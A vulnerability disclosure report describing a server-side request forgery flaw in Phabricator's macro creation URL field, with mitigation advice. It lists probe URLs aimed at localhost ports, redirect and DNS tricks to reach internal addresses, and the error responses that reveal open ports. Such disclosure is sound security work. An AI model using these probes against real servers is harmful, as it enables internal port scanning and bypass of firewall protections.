Server Side Request Forgery in macro creation

How it was found

mongoose (just getting it out of the way ;))

Hi,

I would like to report a Server Side Request Forgery (SSRF [1]) in the meme creation section of the phabricator software [2].

SSRF is a vulnerability allowing requests to be made from the context of the server. This could allow an attacker to gain access to previously unknown data, and potentially also cause malicious access on services previously inaccessible.

The vulnerability makes use of the URL field on the macro creation page at [2]. Entering in different styles of URL can lead to CURL errors returning data that provides information to the attacker with suitable knowledge. These URLs are connected to from the context of the server machine, allowing the attacker to access internal addresses, as well as "localhost" (being the server machine itself). These systems may be behind a firewall or in a demilitarized zone (DMZ), allowing the attacker to bypass those protections. The most simple attack is making use of a port scan attack, but further attacks could be possible to applications that allow GET requests to modify data and don't have CSRF protection. This could also allow the attacker to send a GET request to an application that has host based access protection (ie, only localhost).

Some example URL's and their responses and the meaning of the responses:

• http://localhost:22/ Could not fetch URL: [cURL/56] (http://localhost:22/) <CURLE_RECV_ERROR> The cURL library raised an error while making a request. You may be able to find more information about this error (error code: 56) on the cURL site: http://curl.haxx.se/libcurl/c/libcurl-errors.html#CURLERECVERROR This error suggests that there is a port open on port 22 on the server machine (ie, ssh server running)
• http://localhost:21/ Could not fetch URL: [cURL/7] (http://localhost:21/) <CURLE_COULDNT_CONNECT> The cURL library raised an error while making a request. You may be able to find more information about this error (error code: 7) on the cURL site: http://curl.haxx.se/libcurl/c/libcurl-errors.html#CURLECOULDNTCONNECT This error suggests that ther is NOT a port open on port 21 on the server machine (ie, no ftp server)
• http://google.com:22/ Could not fetch URL: [cURL/28] (http://google.com:22/) <CURLE_OPERATION_TIMEDOUT> The request took too long to complete. This error also suggests a closed port
• http://localhost/ Could not fetch URL: [HTTP/500] Internal Server Error <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>Unhandled Exception</title> <style type="text/css">/** * @provides phabricator-fatal-config-template-css */ body { overflow-y: scroll; background: #f9f9f9; margin: 0; padding: 0; font: 13px/1.231 'Helvetica Neue', Arial, sans-serif; text-align: left; -webkit-text-size-adjust: none; } </style> <style type="text/css">/** * @provides unhandled-exception-css */ .unhandled-exception-detail { max-width: 760px; margi... This shows an open port, serving up HTTP responses, in this case, a 500 error (accessing phabricator by a different domain name)
• http://google.com/ No curl error, but You must upload an image. Suggests open port serving HTTP responses, 200 most likely
• http://davenport.net.nz/test.php This HTTP 302 redirect to http://localhost/, and gives the same result
• http://testing.allthethings.co.nz/ Same, but via DNS
• http://testing6.allthethings.co.nz/ Same, but via DNS (and IPv6 localhost)
• http://127.0.0.1 Same, direct IP

These messages can give an attacker information about open/closed ports, and in case of HTTP errors, can disclose information to the attacker. If there are applications that allow certain GET requests to change state in favour of the attacker, these can also be used.

I found that non HTML files returned would be saved, and perhaps viewed, HTML just said you must upload an image, but getting css/js worked fine.

Note that you can also get internal addresses, either via HTTP redirect, DNS entry, or direct IP.

My recommendations would be: -⁠ Disallow localhost, and any RFC1914 ip's (private LAN) -⁠ Disallow unusual ports -⁠ Rate limit requests

• Don't follow redirects to localhost and/or local LAN IP's, either via HTTP redirects, or DNS records.

I hope this report helps, let me know if you require any more information.

Cheers,

Hugh

[1] http://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/ [2] http://phabricator.example.com/macro/create/